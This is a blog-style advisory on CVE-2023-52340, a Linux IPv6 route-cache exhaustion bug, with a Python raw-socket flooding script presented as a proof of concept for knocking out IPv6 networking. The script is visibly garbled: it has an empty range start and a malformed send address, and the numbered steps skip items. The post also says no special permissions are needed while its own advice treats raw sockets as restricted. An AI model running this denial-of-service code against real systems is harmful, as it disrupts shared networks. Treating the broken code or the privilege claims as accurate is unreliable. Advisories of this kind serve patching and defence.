The bottom line: Linux until kernel 6.3 has a nasty bug in its IPv6 routing, where a design flaw lets a local user fill up a crucial routing table and bring down networking with a simple local program. Here’s exactly how it works, how you could exploit it, and resources to dig deeper.
What's the Issue With IPv6 in Linux?
CVE-2023-52340 describes a vulnerability in how the Linux kernel (before version 6.3) handles IPv6 routing tables. The Linux kernel uses a file called net/ipv6/route.c to manage IPv6 routing. This code keeps a routing cache and limits its size using a so-called max_size threshold.
The max_size threshold isn't high enough.
- Any local user can eat up all that space simply by sending IPv6 packets endlessly via a raw socket, each with unique destination addresses (or crafted routes).
- Once the cache is full, new routes cannot be created, valid routes get thrown away, and the machine’s network stops working—resulting in "network is unreachable" errors.
Impact: Denial of Service (DoS). Any user with normal local access (even inside a container or shared cloud server) can knock the system's IPv6 route cache out, killing IPv6 networking for everyone.
The attacker sends crafted IPv6 packets in a loop, each using a different destination address.
3. Every new destination address forces the kernel to create (or attempt to create) an entry in the IPv6 route cache.
The route cache hits its max_size limit.
5. Further lookups or routing requests fail. All new packets may get dropped with “network unreachable” (ENETUNREACH) errors.
Exploit Code Example
Below is a simple PoC (Proof of Concept) showing how you could lock up IPv6 networking using Python and sockets. Note: Don’t run this on production systems!
import socket
import struct
import time
# Create a raw IPv6 socket
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Example payload (not doing anything, just data)
payload = b"\x00" * 40
# Loop over a range of destination addresses to fill cache
base_addr = "2001:db8:abcd:"
def increment_ipv6(start_hex):
return "%x" % start_hex
for i in range(, 65536):
dst_addr = base_addr + increment_ipv6(i) + "::1"
try:
s.sendto(payload, (dst_addr, ))
except Exception as e:
print(f"Failed to send to {dst_addr}: {e}")
time.sleep(.001) # Slight delay to avoid total system freeze
This code quickly creates thousands of unique routes, which the kernel will dutifully attempt to cache, triggering the bug.
Admins see repeated “network is unreachable” errors in logs or user programs.
- Only a kernel reboot or cache flush (may need patched kernel/tools) will restore normal operations.
Who’s Affected?
- Every Linux system with kernel versions before 6.3, using IPv6 (including desktops, servers, containers).
- Shared VPS/cloud, or multi-user servers are especially vulnerable since any local user or process can attack the network stack.
How Do You Fix It?
Upgrade your kernel to 6.3 or higher. The issue is fixed in that branch.
Restrict creation of raw (or even packet) sockets to trusted users only.
- Use cgroups, seccomp, or similar mechanisms to prevent untrusted users from flooding the routing tables.
- If you must use older kernels, consider watching /proc/net/ipv6_route and alerting if the table gets too big.
Original References and More Info
- CVE-2023-52340 at NVD
- OSS-Security mail thread (includes technical details)
- Linux Kernel Patch (v6.3)
- ExploitDB Advisory (if available)
- HackerOne/CVE entry
Final Thoughts
CVE-2023-52340 is a rare example of a local user being able to easily stop IPv6 networking on nearly any Linux box—without needing special permissions or exploits, just raw sockets and some packets.
If you admin a multi-user Linux system, update your kernel now! Even if you don’t use IPv6 heavily, don’t give someone a route to your downtime.
*If you found this post helpful, consider sharing with your sysadmin friends who keep your networks running! Stay safe & stay patched.*
Timeline
Published on: 07/05/2024 02:15:09 UTC
Last modified on: 07/08/2024 16:42:51 UTC